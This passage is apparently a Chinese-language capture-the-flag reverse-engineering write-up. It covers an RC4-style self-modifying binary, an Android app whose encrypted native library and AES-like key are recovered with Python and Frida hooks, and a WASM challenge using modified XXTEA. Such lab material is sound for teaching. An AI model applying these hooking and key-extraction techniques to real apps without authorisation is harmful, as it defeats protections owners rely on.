.text:00007FF778F01319 loc_7FF778F01319:                       ; CODE XREF: .text:00007FF778F01391↓j
.text:00007FF778F01319 mov     eax, [rsp+8]
.text:00007FF778F0131D inc     eax
.text:00007FF778F0131F mov     [rsp+8], eax
.text:00007FF778F01323
.text:00007FF778F01323 loc_7FF778F01323:                       ; CODE XREF: .text:00007FF778F01317↑j
.text:00007FF778F01323 cmp     dword ptr [rsp+8], 100h
.text:00007FF778F0132B jge     short loc_7FF778F01393
.text:00007FF778F0132D movsxd  rax, dword ptr [rsp+8]
.text:00007FF778F01332 movzx   eax, byte ptr [rsp+rax+40h]
.text:00007FF778F01337 mov     ecx, [rsp+1Ch]
.text:00007FF778F0133B add     ecx, eax
.text:00007FF778F0133D mov     eax, ecx
.text:00007FF778F0133F movsxd  rcx, dword ptr [rsp+8]
.text:00007FF778F01344 movzx   ecx, byte ptr [rsp+rcx+140h]
.text:00007FF778F0134C add     eax, ecx
.text:00007FF778F0134E cdq
.text:00007FF778F0134F and     edx, 0FFh
.text:00007FF778F01355 add     eax, edx
.text:00007FF778F01357 and     eax, 0FFh
.text:00007FF778F0135C sub     eax, edx
.text:00007FF778F0135E mov     [rsp+1Ch], eax
.text:00007FF778F01362 movsxd  rax, dword ptr [rsp+8]
.text:00007FF778F01367 movzx   eax, byte ptr [rsp+rax+40h]
.text:00007FF778F0136C mov     [rsp+2], al
.text:00007FF778F01370 movsxd  rax, dword ptr [rsp+1Ch]
.text:00007FF778F01375 movsxd  rcx, dword ptr [rsp+8]
.text:00007FF778F0137A movzx   eax, byte ptr [rsp+rax+40h]
.text:00007FF778F0137F mov     [rsp+rcx+40h], al
.text:00007FF778F01383 movsxd  rax, dword ptr [rsp+1Ch]
.text:00007FF778F01388 movzx   ecx, byte ptr [rsp+2]
.text:00007FF778F0138D mov     [rsp+rax+40h], cl
.text:00007FF778F01391 jmp     short loc_7FF778F01319
.text:00007FF778F01393 ; ---------------------------------------------------------------------------
.text:00007FF778F01393
.text:00007FF778F01393 loc_7FF778F01393:                       ; CODE XREF: .text:00007FF778F0132B↑j
.text:00007FF778F01393 mov     byte ptr [rsp], 0
.text:00007FF778F01397 mov     byte ptr [rsp+1], 0
.text:00007FF778F0139C mov     rax, [rsp+260h]
.text:00007FF778F013A4 mov     [rsp+38h], rax
.text:00007FF778F013A9 mov     qword ptr [rsp+28h], 0FFFFFFFFFFFFFFFFh
.text:00007FF778F013B2
.text:00007FF778F013B2 loc_7FF778F013B2:                       ; CODE XREF: .text:00007FF778F013C5↓j
.text:00007FF778F013B2 inc     qword ptr [rsp+28h]
.text:00007FF778F013B7 mov     rax, [rsp+38h]
.text:00007FF778F013BC mov     rcx, [rsp+28h]
.text:00007FF778F013C1 cmp     byte ptr [rax+rcx], 0
.text:00007FF778F013C5 jnz     short loc_7FF778F013B2
.text:00007FF778F013C7 mov     rax, [rsp+28h]
.text:00007FF778F013CC mov     [rsp+20h], eax
.text:00007FF778F013D0 mov     dword ptr [rsp+18h], 0
.text:00007FF778F013D8 jmp     short loc_7FF778F013E4
.text:00007FF778F013DA ; ---------------------------------------------------------------------------
.text:00007FF778F013DA
.text:00007FF778F013DA loc_7FF778F013DA:                       ; CODE XREF: .text:00007FF778F014B9↓j
.text:00007FF778F013DA mov     eax, [rsp+18h]
.text:00007FF778F013DE inc     eax
.text:00007FF778F013E0 mov     [rsp+18h], eax
.text:00007FF778F013E4
.text:00007FF778F013E4 loc_7FF778F013E4:                       ; CODE XREF: .text:00007FF778F013D8↑j
.text:00007FF778F013E4 mov     eax, [rsp+20h]
.text:00007FF778F013E8 cmp     [rsp+18h], eax
.text:00007FF778F013EC jnb     loc_7FF778F014BE
.text:00007FF778F013F2 movzx   eax, byte ptr [rsp]
.text:00007FF778F013F6 inc     eax
.text:00007FF778F013F8 cdq
.text:00007FF778F013F9 and     edx, 0FFh
.text:00007FF778F013FF add     eax, edx
.text:00007FF778F01401 and     eax, 0FFh
.text:00007FF778F01406 sub     eax, edx
.text:00007FF778F01408 mov     [rsp], al
.text:00007FF778F0140B movzx   eax, byte ptr [rsp+1]
.text:00007FF778F01410 movzx   ecx, byte ptr [rsp]
.text:00007FF778F01414 movzx   ecx, byte ptr [rsp+rcx+40h]
.text:00007FF778F01419 add     eax, ecx
.text:00007FF778F0141B cdq
.text:00007FF778F0141C and     edx, 0FFh
.text:00007FF778F01422 add     eax, edx
.text:00007FF778F01424 and     eax, 0FFh
.text:00007FF778F01429 sub     eax, edx
.text:00007FF778F0142B mov     [rsp+1], al
.text:00007FF778F0142F movzx   eax, byte ptr [rsp]
.text:00007FF778F01433 movzx   eax, byte ptr [rsp+rax+40h]
.text:00007FF778F01438 mov     [rsp+3], al
.text:00007FF778F0143C movzx   eax, byte ptr [rsp+1]
.text:00007FF778F01441 movzx   ecx, byte ptr [rsp]
.text:00007FF778F01445 movzx   eax, byte ptr [rsp+rax+40h]
.text:00007FF778F0144A mov     [rsp+rcx+40h], al
.text:00007FF778F0144E movzx   eax, byte ptr [rsp+1]
.text:00007FF778F01453 movzx   ecx, byte ptr [rsp+3]
.text:00007FF778F01458 mov     [rsp+rax+40h], cl
.text:00007FF778F0145C movzx   eax, byte ptr [rsp]
.text:00007FF778F01460 movzx   eax, byte ptr [rsp+rax+40h]
.text:00007FF778F01465 movzx   ecx, byte ptr [rsp+1]
.text:00007FF778F0146A movzx   ecx, byte ptr [rsp+rcx+40h]
.text:00007FF778F0146F add     eax, ecx
.text:00007FF778F01471 cdq
.text:00007FF778F01472 and     edx, 0FFh
.text:00007FF778F01478 add     eax, edx
.text:00007FF778F0147A and     eax, 0FFh
.text:00007FF778F0147F sub     eax, edx
.text:00007FF778F01481 mov     [rsp+4], al
.text:00007FF778F01485 movzx   eax, byte ptr [rsp+4]
.text:00007FF778F0148A movzx   eax, byte ptr [rsp+rax+40h]
.text:00007FF778F0148F mov     [rsp+5], al
.text:00007FF778F01493 mov     eax, [rsp+18h]
.text:00007FF778F01497 movzx   ecx, byte ptr [rsp+5]
.text:00007FF778F0149C mov     rdx, [rsp+260h]
.text:00007FF778F014A4 movzx   eax, byte ptr [rdx+rax]
.text:00007FF778F014A8 xor     eax, ecx
.text:00007FF778F014AA mov     ecx, [rsp+18h]
.text:00007FF778F014AE mov     rdx, [rsp+260h]
.text:00007FF778F014B6 mov     [rdx+rcx], al
.text:00007FF778F014B9 jmp     loc_7FF778F013DA
.text:00007FF778F014BE ; ---------------------------------------------------------------------------
.text:00007FF778F014BE
.text:00007FF778F014BE loc_7FF778F014BE:                       ; CODE XREF: .text:00007FF778F013EC↑j
.text:00007FF778F014BE mov     dword ptr [rsp+0Ch], 0
.text:00007FF778F014C6 jmp     short loc_7FF778F014D2
.text:00007FF778F014C8 ; ---------------------------------------------------------------------------
.text:00007FF778F014C8
.text:00007FF778F014C8 loc_7FF778F014C8:                       ; CODE XREF: .text:loc_7FF778F0151B↓j
.text:00007FF778F014C8 mov     eax, [rsp+0Ch]
.text:00007FF778F014CC inc     eax
.text:00007FF778F014CE mov     [rsp+0Ch], eax
.text:00007FF778F014D2
.text:00007FF778F014D2 loc_7FF778F014D2:                       ; CODE XREF: .text:00007FF778F014C6↑j
.text:00007FF778F014D2 mov     eax, [rsp+20h]
.text:00007FF778F014D6 cmp     [rsp+0Ch], eax
.text:00007FF778F014DA jnb     short loc_7FF778F0151D
.text:00007FF778F014DC cmp     dword ptr [rsp+0Ch], 0
.text:00007FF778F014E1 jz      short loc_7FF778F0151B
.text:00007FF778F014E3 movsxd  rax, dword ptr [rsp+0Ch]
.text:00007FF778F014E8 mov     ecx, [rsp+0Ch]
.text:00007FF778F014EC dec     ecx
.text:00007FF778F014EE movsxd  rcx, ecx
.text:00007FF778F014F1 mov     rdx, [rsp+260h]
.text:00007FF778F014F9 movzx   ecx, byte ptr [rdx+rcx]
.text:00007FF778F014FD mov     rdx, [rsp+260h]
.text:00007FF778F01505 movzx   eax, byte ptr [rdx+rax]
.text:00007FF778F01509 xor     eax, ecx
.text:00007FF778F0150B movsxd  rcx, dword ptr [rsp+0Ch]
.text:00007FF778F01510 mov     rdx, [rsp+260h]
.text:00007FF778F01518 mov     [rdx+rcx], al
.text:00007FF778F0151B
.text:00007FF778F0151B loc_7FF778F0151B:                       ; CODE XREF: .text:00007FF778F014E1↑j
.text:00007FF778F0151B jmp     short loc_7FF778F014C8
.text:00007FF778F0151D ; ---------------------------------------------------------------------------
.text:00007FF778F0151D
.text:00007FF778F0151D loc_7FF778F0151D:                       ; CODE XREF: .text:00007FF778F014DA↑j
.text:00007FF778F0151D mov     rcx, [rsp+240h]
.text:00007FF778F01525 xor     rcx, rsp
.text:00007FF778F01528 call    __security_check_cookie
.text:00007FF778F0152D add     rsp, 250h
.text:00007FF778F01534 pop     rdi
.text:00007FF778F01535 retn
.text:00007FF778F01535 ; } // starts at 7FF778F01240
.text:00007FF778F01535 ; ---------------------------------------------------------------------------
.text:00007FF778F01536 algn_7FF778F01536:                      ; DATA XREF: .pdata:00007FF778F0503C↓o
.text:00007FF778F01536 align 20h
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;算法分析&lt;/p&gt;
&lt;p&gt;密文&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;data:00007FF778F04078 asc_7FF778F04078 db 86h,8Bh,82h,0DCh,31h,&apos;a&apos;,10h,&apos;Sk&apos;,17h,13h,&apos;[w&apos;,19h,84h,0B1h,0E5h,2Ch,0EAh
.data:00007FF778F04078                                         ; DATA XREF: main+DA↑o
.data:00007FF778F0408B                 db 97h,0D8h,0C1h,0C4h,0F4h,&apos;*&apos;,0E6h,8Bh,0D9h,17h,&apos;)&apos;,0D3h,30h
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;解密脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def reverse_smc_algorithm(key, encrypted_data):
    key_bytes = key.encode(&apos;ascii&apos;)
    if len(key_bytes) != 4:
        raise ValueError(&quot;密钥必须是4字节&quot;)

    encrypted_bytes = encrypted_data

    temp_data = list(encrypted_bytes)
    for i in range(len(temp_data) - 1, 0, -1):
        temp_data[i] = temp_data[i] ^ temp_data[i-1]

    s_box = list(range(256))

    processed_key = []
    for i in range(256):
        processed_key.append((key_bytes[i % 4] ^ 0x11) &amp;amp; 0xFF)

    j = 0
    for i in range(256):
        j = (j + s_box[i] + processed_key[i]) &amp;amp; 0xFF
        s_box[i], s_box[j] = s_box[j], s_box[i]

    i = j = 0
    output = []

    for byte_val in temp_data:
        i = (i + 1) &amp;amp; 0xFF
        j = (j + s_box[i]) &amp;amp; 0xFF
        s_box[i], s_box[j] = s_box[j], s_box[i]

        keystream_byte = s_box[(s_box[i] + s_box[j]) &amp;amp; 0xFF]
        decrypted_byte = byte_val ^ keystream_byte
        output.append(decrypted_byte)

    return bytes(output)

def solve():
    key = &quot;LYLY&quot;

    target_data = bytes([0x86, 0x8B, 0x82, 0xDC, 0x31, 0x61, 0x10, 0x53, 0x6B, 0x17, 0x13, 0x5B, 0x77, 0x19, 0x84, 0xB1, 0xE5, 0x2C, 0xEA, 0x97, 0xD8, 0xC1, 0xC4, 0xF4, 0x2A, 0xE6, 0x8B, 0xD9, 0x17, 0x29, 0xD3, 0x30])

    decrypted = reverse_smc_algorithm(key, target_data)
    flag = decrypted.decode(&apos;ascii&apos;, errors=&apos;ignore&apos;).rstrip(&apos;\x00&apos;)

    print(f&quot;Flag: {flag}&quot;)
    return flag

if __name__ == &quot;__main__&quot;:
    solve()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag{fnv_and_self_modified_code}&lt;/p&gt;
&lt;h1&gt;2.安卓题目&lt;/h1&gt;
&lt;p&gt;JADX打开第一段flag：flag0:0nc$3@te&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-008.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第二段flag在xml文件中看到_@c7iv17ys&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-009.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第三段flag在资源文件是一个图片文件，010打开看到 _@5S3$ts&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-010.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第四段flag在string.xml里   _5trin9&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-011.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第五段flag在LibSoLib.so文件flag4:_4oLi8&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-012.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第五段是password&lt;/p&gt;
&lt;p&gt;我们先按在com.huanghunr.androidchallenge.NativeLoader中看到的逻辑对assets/x86_64/libandroidchallenge.so.enc做解密&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-013.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;哈希验证&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-014.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在com.huanghunr.androidchallenge.MainActivityKt里我们看到username长度小于等于4，密码在8到32之间,我们得到用户名是R*ot，是通过对四字节爆破出来的&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-015.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们这里也可以通过文件头来获取用户名，so文件开头四字节是0x7f，0x45,0x4c，0x46，我们在010中看到这个加密的文件开头是2D,6E,7E,31&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-016.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;解用户名&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;with open(&quot;libandroidchallenge.so.enc&quot;, &quot;rb&quot;) as f:
    data = f.read()
with open(&quot;libandroidchallenge.so&quot;, &quot;wb&quot;) as f:
    encheader = b&quot;\x2D\x6e\x7E\x31&quot;
    elfheader = b&quot;\x7f\x45\x4c\x46&quot;
    key = []
    for i in range(len(encheader)):
        key.append((encheader[i] ^ elfheader[i]) - i) #反推用户名
    print(&quot;key: &quot;, bytes(key))
    f.write(bytes([ data[i] ^ ((key[i % len(key)] + i) &amp;amp; 0xff) for i in
range(len(data)) ])) # 解密so文件
print(&quot;done&quot;)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;解密出来的so文件用IDA打开主要就是两个函数verifyPassword和ivGen函数&lt;/p&gt;
&lt;p&gt;verifyPassword是pasword校验函数&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-017.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;sub_26660函数是生成16字节的密钥，伪随机数的算法用的种子是0&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-018.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;encrypt函数是AES加密结构，被魔改了&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-019.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们也可以看Decrypt函数，通过frida调用这个函数来完成解密&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-020.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;用frida来获取密钥，里面会一直尝试hook，因为加了try喝setInterval，需要输入正确的用户名&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function hookenc(intervalId){
    try {
// 获取目标 so 模块（libandroidchallenge.so）
        var md = Process.getModuleByName(&quot;libandroidchallenge.so&quot;);
// 获取模块的基地址。

        var mdBase = md.base;
//目标加密函数的相对偏移地址（通过ida反汇编得到）
// 这里 0x028018 是arm64架构下 Encrypt 函数的偏移；在x86_x64架构下是0x26FA0
        var funcAddr = 0x028018;
// 一旦成功找到模块，就清除定时器，避免重复 hook
        clearInterval(intervalId);
// 使用 Interceptor.attach 在目标函数入口处挂钩
// 第一个参数是“目标函数的真实内存地址”
        Interceptor.attach(mdBase.add(funcAddr), {
// onEnter：在目标函数刚进入时触发（可以获取参数）
            onEnter: function (args) {
// 目标函数的第三个参数（args[2]）是密钥的地址
// Frida 的 args 数组对应函数的参数列表：
// args[0] → 第1个参数，args[1] → 第2个参数 .
            var keyAddr = args[2];
// 从密钥地址处读取16个字节内容（因为 key 是16字节）
            var key = keyAddr.readByteArray(16);
//打印读取到的 key（会以十六进制 dump 的形式显示）
            console.log(&quot;key:\n&quot;, key);
        },
// onLeave：在目标函数**返回之后**触发
// 这里我们没有对返回值做处理，所以留空
        onLeave: function (retval) { }
    });
}
    catch(e){
// 9. 如果在获取模块或 hook 过程中出错（比如so 还没加载），就打印错误信息
        console.log(e);
    }
}
// 刚开始so没有加载，如果直接 hook 可能会报错“找不到模块”，每隔1秒检查一次，直到成功为止
const intervalId = setInterval(() =&amp;gt; {
    hookenc(intervalId);
}, 1000);

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是frida版本不能过高，会出现找不到模块，官方wp中用的是16.6.5版本，我用的是17.3.2版本，这里就不做演示&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-021.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;得到的key&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;key:
/           0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F 0123456789ABCDEF
/ 00000000 5b 34 07 0c 6e e7 9f d8 ab 2f a6 db 12 4f 10 f9 [4 .n..../ .O .
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之后就是用一个定义的函数来调用so中解密函数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function callDecrypt(){
// 获取名为 &quot;libandroidchallenge.so&quot; 的模块（也就是目标 so 动态库）
   var md = Process.getModuleByName(&quot;libandroidchallenge.so&quot;);
//获取这个模块的基地址。so 文件加载到内存后，会有一个实际的起始地址，这就是 base
   var mdBase = md.base; // 获取模块的基地址
// 计算目标解密函数的实际地址：
// 0x286F8 是arm64架构下解密函数相对偏移;在x86_x64下是0x275E0
// 使用 mdBase.add(偏移) 得到解密函数在内存中的真实地址
// 然后用 NativeFunction 创建一个可以直接调用的 JS 函数。
// 返回类型：&apos;pointer&apos;（指针）
// 参数类型：[&apos;pointer&apos;, &apos;int&apos;, &apos;pointer&apos;] → (输入数据指针, 输入长度, 密钥指针)
   var DecryptFunc = new NativeFunction(mdBase.add(0x286F8), &apos;pointer&apos;,
[&apos;pointer&apos;, &apos;int&apos;, &apos;pointer&apos;]);
// 分配一块内存空间，用来存放要解密的密文数据（大小 100 字节，足够存32字节）
   var input = Memory.alloc(100);
// 再分配一块内存空间，用来存放解密使用的 key（同样分配 100 字节）
   var key = Memory.alloc(100);
// 定义密文数组（32 个字节）：
// 这些字节就是程序中实际被加密的数据
   var inputBytes = [
       0xA8, 0xD1, 0xFE, 0xD6, 0x83, 0xE5, 0xD4, 0x5F,
       0xA5, 0x96, 0x9C, 0xDA, 0xD3, 0x6D, 0x5B, 0x35,
       0x60, 0x7C, 0x02, 0xE4, 0x92, 0x35, 0xF8, 0xA0,
       0x3A, 0x9B, 0xBC, 0x48, 0xEC, 0x48, 0x24, 0xDE
    ];
// 密文的实际长度（这里是32字节）
   var inputlen = 32;
// 定义密钥数组（16 个字节）
   var keyBytes = [
       0x5B, 0x34, 0x07, 0x0C, 0x6E, 0xE7, 0x9F, 0xD8,
       0xAB, 0x2F, 0xA6, 0xDB, 0x12, 0x4F, 0x10, 0xF9
   ];
// 将 keyBytes 逐字节写入到之前分配的 key 内存中
   for (var i = 0; i &amp;lt; 16; i++) {
       key.add(i).writeU8(keyBytes[i]);
   }
// 将 inputBytes 逐字节写入到 input 内存中
   for (var i = 0; i &amp;lt; 32; i++) {
       input.add(i).writeU8(inputBytes[i]);
   }
}
// 调用解密函数，传入参数：
// - input：密文数据的内存地址
// - inputlen：密文长度
// - key：密钥的内存地址
//
// 解密函数执行后，返回值是一个指向解密结果的指针
var res = DecryptFunc(input, inputlen, key);
// 从返回的指针位置，读取 32 字节的解密结果数据
var resbyte = res.readByteArray(32);
// 打印解密后的字节内容
console.log(&quot;decrypt resbyte:\n&quot;, resbyte);


&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在交互界面输入自定义的函数名callDecrypt（）&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-022.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;之后我们找出iv数组&lt;/p&gt;
&lt;p&gt;ivGen 是伪随机数算法。以123456为种子生成 了16字节的数组，最后转递到java层&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-023.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们可以用frida hook NativeLoader.INSTANCE.ivGen()&lt;/p&gt;
&lt;p&gt;hook脚本，输入正确的用户名，密码随便输入就可以得到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Java.perform(function () {
    let NativeLoader = Java.use(&quot;com.huanghunr.androidchallenge.NativeLoader&quot;);
    let instance = NativeLoader.INSTANCE.value; // 拿到单例对象
    NativeLoader.ivGen.implementation = function () {
        let result = instance.ivGen(); // 调用单例对象的方法
        console.log(&quot;ivGen result =&quot;, JSON.stringify(result));
        return result;
    };
});
// 主动调用
function getiv(){
   let NativeLoader =
Java.use(&quot;com.huanghunr.androidchallenge.NativeLoader&quot;).$new();
   var result = NativeLoader.ivGen();
   console.log(&quot;ivGen result =&quot;, JSON.stringify(result));
   return result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-024.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;拿之前解出的数据于iv异或得到最后一段flag5   &lt;em&gt;Th3_w0rld_Of&lt;/em&gt;@ndroid_15_am@z!ng&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;iv = [43,-35,-113,-32,-104,-91,31,35,-49,125,-42,17,2,83,121,73]
encdata = bytes.fromhex(&quot;74 89 e7 d3 c7 d2 2f 51 a3 19 89 5e 64 0c 39 27 4f af e0 89 fc fa 2e 16 90 1c bb 51 78 72 17 2e&quot;.replace(&quot; &quot;, &quot;&quot;))

res = []
for i in range(len(encdata)):
    res.append(encdata[i] ^ iv[i % len(iv)] &amp;amp; 0xff)
print(bytes(res).decode())

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag{0nc$3@te_@c7iv17ys_@5S3$ts_5trin9_4oLi8_Th3_w0rld_Of_@ndroid_15_am@z!ng}&lt;/p&gt;
&lt;h1&gt;3.ezwasm&lt;/h1&gt;
&lt;p&gt;打开开发者工具台，在源码里下载三个原文件，一个wasm，一个js，一个css&lt;/p&gt;
&lt;p&gt;配置好ghidra环境，安装好ghidra-wasm插件&lt;/p&gt;
&lt;p&gt;打开wasm文件，在exports里打开check函数&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-025.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;你可以去吧里面的函数都看看是什么作用，来给他们命名，这里我就不赘述了，只看其中重要的两个函数&lt;/p&gt;
&lt;p&gt;一个是 （unnamed_function_1)是一个SplitMix64随机数算法   种子是0x9e3779b97f4a7c15&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-026.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;一个是 (unnamed_function_22)是一个xxtea算法，魔改了轮数，左右移位和delta&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void unnamed_function_22(undefined4 param1,undefined4 param2,undefined4 param3)

{
    int iVar1;
    undefined4 uVar2;
    int iVar3;
    undefined4 uVar4;
    uint uVar5;
    undefined4 uVar6;
    undefined4 uVar7;
    undefined1 auStack_24 [4];
    undefined1 auStack_20 [4];
    undefined1 auStack_1c [4];
    undefined1 auStack_18 [4];
    undefined1 auStack_14 [4];
    undefined1 auStack_10 [4];
    undefined1 auStack_c [4];
    undefined1 auStack_8 [4];
    undefined1 auStack_4 [4];

    unnamed_function_23(param1,auStack_4);
    unnamed_function_24(param2,auStack_8);
    unnamed_function_25(param3,auStack_c);
    unnamed_function_26(0x4c,auStack_20);
    unnamed_function_27(0,auStack_18);
    iVar1 = unnamed_function_28(auStack_4);
    uVar2 = unnamed_function_29(auStack_8);
    iVar3 = unnamed_function_30(uVar2,1);
    uVar2 = unnamed_function_31(iVar1 + iVar3 * 4);
    unnamed_function_32(uVar2,auStack_14);
    do {
        uVar2 = unnamed_function_33(auStack_18);
        uVar2 = unnamed_function_34(uVar2,0x1ce4e5b9);
        unnamed_function_35(uVar2,auStack_18);
        uVar2 = unnamed_function_36(auStack_18);
        uVar2 = unnamed_function_37(uVar2,2);
        uVar2 = unnamed_function_38(uVar2,3);
        unnamed_function_39(uVar2,auStack_24);
        unnamed_function_40(0,auStack_1c);
        while( true ) {
            uVar2 = unnamed_function_41(auStack_1c);
            uVar4 = unnamed_function_42(auStack_8);
            uVar4 = unnamed_function_43(uVar4,1);
            uVar5 = unnamed_function_44(uVar2,uVar4);
            if ((uVar5 &amp;amp; 1) == 0) break;
            iVar1 = unnamed_function_45(auStack_4);
            uVar2 = unnamed_function_46(auStack_1c);
            iVar3 = unnamed_function_47(uVar2,1);
            uVar2 = unnamed_function_48(iVar1 + iVar3 * 4);
            unnamed_function_49(uVar2,auStack_10);
            uVar2 = unnamed_function_50(auStack_14);
            uVar2 = unnamed_function_51(uVar2,6);
            uVar4 = unnamed_function_52(auStack_10);
            uVar4 = unnamed_function_53(uVar4,1);
            uVar2 = unnamed_function_54(uVar2,uVar4);
            uVar4 = unnamed_function_55(auStack_10);
            uVar4 = unnamed_function_56(uVar4,5);
            uVar6 = unnamed_function_57(auStack_14);
            uVar6 = unnamed_function_58(uVar6,6);
            uVar4 = unnamed_function_59(uVar4,uVar6);
            uVar2 = unnamed_function_60(uVar2,uVar4);
            uVar4 = unnamed_function_61(auStack_18);
            uVar6 = unnamed_function_62(auStack_10);
            uVar4 = unnamed_function_63(uVar4,uVar6);
            iVar1 = unnamed_function_64(auStack_c);
            uVar6 = unnamed_function_65(auStack_1c);
            uVar6 = unnamed_function_66(uVar6,3);
            uVar7 = unnamed_function_67(auStack_24);
            iVar3 = unnamed_function_68(uVar6,uVar7);
            uVar6 = unnamed_function_69(iVar1 + iVar3 * 4);
            uVar7 = unnamed_function_70(auStack_14);
            uVar6 = unnamed_function_71(uVar6,uVar7);
            uVar4 = unnamed_function_72(uVar4,uVar6);
            uVar2 = unnamed_function_73(uVar2,uVar4);
            iVar1 = unnamed_function_74(auStack_4);
            iVar3 = unnamed_function_75(auStack_1c);
            iVar1 = iVar1 + iVar3 * 4;
            uVar4 = unnamed_function_76(iVar1);
            uVar2 = unnamed_function_77(uVar4,uVar2);
      unnamed_function_78(uVar2,iVar1);
      unnamed_function_79(uVar2,auStack_14);
      uVar2 = unnamed_function_80(auStack_1c);
      uVar2 = unnamed_function_81(uVar2,1);
      unnamed_function_82(uVar2,auStack_1c);
    }
    uVar2 = unnamed_function_83(auStack_4);
    uVar2 = unnamed_function_84(uVar2);
    unnamed_function_85(uVar2,auStack_10);
    uVar2 = unnamed_function_86(auStack_14);
    uVar2 = unnamed_function_87(uVar2,6);
    uVar4 = unnamed_function_88(auStack_10);
    uVar4 = unnamed_function_89(uVar4,1);
    uVar2 = unnamed_function_90(uVar2,uVar4);
    uVar4 = unnamed_function_91(auStack_10);
    uVar4 = unnamed_function_92(uVar4,5);
    uVar6 = unnamed_function_93(auStack_14);
    uVar6 = unnamed_function_94(uVar6,6);
    uVar4 = unnamed_function_95(uVar4,uVar6);
    uVar2 = unnamed_function_96(uVar2,uVar4);
    uVar4 = unnamed_function_97(auStack_18);
    uVar6 = unnamed_function_98(auStack_10);
    uVar4 = unnamed_function_99(uVar4,uVar6);
    iVar1 = unnamed_function_100(auStack_c);
    uVar6 = unnamed_function_101(auStack_1c);
    uVar6 = unnamed_function_102(uVar6,3);
    uVar7 = unnamed_function_103(auStack_24);
    iVar3 = unnamed_function_104(uVar6,uVar7);
    uVar6 = unnamed_function_105(iVar1 + iVar3 * 4);
    uVar7 = unnamed_function_106(auStack_14);
    uVar6 = unnamed_function_107(uVar6,uVar7);
